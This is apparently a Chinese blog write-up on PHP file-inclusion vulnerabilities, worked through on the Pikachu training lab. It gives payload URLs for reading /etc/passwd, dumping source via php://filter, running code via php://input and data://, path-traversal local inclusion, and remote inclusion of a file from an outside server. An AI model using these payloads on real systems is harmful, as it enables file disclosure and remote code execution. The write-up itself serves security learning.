首页 > 其他分享 >文件包含-基于Pikachu的学习

文件包含-基于Pikachu的学习

时间:2024-05-04 18:44:47浏览次数:22  
标签:文件 基于 http 包含 Pikachu xxx file php

File_Include(文件包含)

原理

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

环境要求

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

文件包含常见函数

nclude()
require()
include_once()
require_once()

PHP伪协议

CTF中文件包含漏洞总结-CSDN博客

PHP伪协议总结 - 个人文章 - SegmentFault 思否

file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:

http://www.xxx.com?file=file:///etc/passsword

http://

用于访问远程http协议网络路径的文件。

http://www.xxx.com?file=http://127.0.0.1/xxx.php

php://

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码

image-20240504174236940

php://filter

image-20240504174418172

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

http://www.xxx.com?file=php://filter/resource=xxx.php

可以使用 convert.base64-encode这个过滤器,去将文件里面转成base64去输出

http://www.xxx.com?file=php://filter/read=convert.base64-encode/resource=xxx.php

php://input

使用php://input,然后再POST数据,我们所输入的数据会被当作php代码去执行,所以我们可以这样使用

http://www.xxx.com?file=php://input
POST的数据:<?php phpinfo();?>

data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

他是以GET传递参数,所以我们可以这样用

http://www.xxx.com?file=data://text/plain,<?php%20phpinfo();?>
或者是base64编码
http://www.xxx.com?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

zip://

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

Pikachu

本地文件包含

打开题目,选一个参数,发现url改变,并且是file+数字,于是多试了几次,的确是这样的

image-20240504175431246

当我尝试到file6的时候,发现了好东西

image-20240504175547415

试到file7,出现了报错,路径都被回显出来了:

fi_loal.php去包含和他同一个路径下include文件夹的文件。

我们就可以根据这个路径,去访问其他地方的文件,这里我在pikachu-matser下已写好文件,我们就访问他,

<?php phpinfo();?> //文件内容

image-20240504180854957

image-20240504175620306

然后构造payload:

http://localhost/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../test.txt&submit=%E6%8F%90%E4%BA%A4

image-20240504181825451

成功了。

远程文件包含

随便弄了一个参数,看url有了路径

image-20240504182832325

这边是我云服务器写好了文件,可以直接远程访问

http://localhost/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://8.130.131.63/1.txt&submit=%E6%8F%90%E4%BA%A4

image-20240504183405319

成功了!

标签:文件,基于,http,包含,Pikachu,xxx,file,php
From: https://www.cnblogs.com/Muneyoshi/p/18172559

相关文章

  • 【YoloDeployCsharp】基于.NET Framework的YOLO深度学习模型部署测试平台
    1.项目介绍  基于.NETFramework4.8开发的深度学习模型部署测试平台,提供了YOLO框架的主流系列模型,包括YOLOv8~v9,以及其系列下的Det、Seg、Pose、Obb、Cls等应用场景,同时支持图像与视频检测。模型部署引擎使用的是OpenVINO™、TensorRT、ONNXruntime以及OpenCVDNN,支持CP......
  • 2024-05-04:用go语言,给定一个起始索引为0的字符串s和一个整数k。 要进行分割操作,直到字
    2024-05-04:用go语言,给定一个起始索引为0的字符串s和一个整数k。要进行分割操作,直到字符串s为空:选择s的最长前缀,该前缀最多包含k个不同字符;删除该前缀,递增分割计数。如果有剩余字符,它们保持原来的顺序。在操作之前,可以修改字符串s中的一个字符为另一个小写英文字母。在最佳情......
  • 第?课——基于矩阵快速幂的递推解法
    第?课——基于矩阵快速幂的递推解法由于中间的数论部分我自己学的很差,没有办法写出清晰的博客来,所以这里跳过了数论部分的博客,来到矩阵快速幂。递推递推是一个非常常用的工具。比如经典的斐波那契数列:\[f(x)=\left\{\begin{array}{**lr**}1&,0\l......
  • 基于深度学习网络的鞋子种类识别matlab仿真
    1.算法运行效果图预览  2.算法运行软件版本matlab2022a 3.算法理论概述      基于GoogLeNet深度学习网络的鞋子种类识别是一种利用深度卷积神经网络进行物体识别的方法,特别适用于大规模图像分类问题。GoogLeNet以其独特的Inception模块和高效的层级结构,在Imag......
  • 构建包含mysql和redis服务的docker镜像
    直接上dockerfile代码1FROMcentos:centos7.9.20092RUNyuminstall-ywget&&\3wgethttps://dev.mysql.com/get/mysql80-community-release-el7-11.noarch.rpm&&\4yum-ylocalinstallmysql80-community-release-el7-11.noarch.rpm......
  • 基于SSM的在线考试系统毕业设计论文【范文】
    摘要随着信息技术的飞速发展,网络教学逐渐成为教育行业的重要组成部分。在线考试系统作为网络教学平台的关键模块之一,其便捷性、高效性和公正性受到广泛关注,基于SSM框架的在线考试系统旨在提供一个稳定、可靠并且易于维护的在线考试环境,以满足现代教育评价的需求。本研究围绕在线......
  • eBPF基于LPM实现路由匹配
    基于eBPFlpmmap,icmp只有匹配上路由才能通。最终目录结构效果展示启动应用前,可以ping通192.168.0.1和192.168.0.105。启动应用后,无法ping通192.168.0.1,可以ping通192.168.0.105。停止应用后,可以ping通192.168.0.1和192.168.0.105。icmp/drop-icmp.c#include"../heade......
  • BiTCN:基于卷积网络的多元时间序列预测
    在时间序列预测领域中,模型的体系结构通常依赖于多层感知器(MLP)或Transformer体系结构。基于mlp的模型,如N-HiTS,TiDE和TSMixer,可以在保持快速训练的同时获得非常好的预测性能。基于Transformer的模型,如PatchTST和ittransformer也取得了很好的性能,但需要更多的内存和时间来训练。......
  • HTTP请求中包含账号密码
    如果你需要在HTTP请求中包含账号密码,你可以使用基本的HTTP身份验证。在C#中,你可以通过设置HttpClient的DefaultRequestHeaders来添加身份验证信息。以下是修改后的示例代码:usingSystem;usingSystem.Net.Http;usingSystem.Text;usingSystem.Threading.Tasks;classP......
  • C# 搭建一个 基于ISqlSugarClient 三层架构框架 涉及数据库仓储 然后中间又有业务逻辑
    要在C#中搭建基于ISqlSugarClient的三层架构框架,你需要定义数据访问层(DAL)、业务逻辑层(BLL)和表现层(UI)。下面是一个完整的例子,涉及数据库仓储、业务逻辑层,以及依赖注入。这个例子基于ASP.NETCoreMVC构建,使用ISqlSugarClient来处理数据访问。这个例子中,我们将使用User作为一个简单......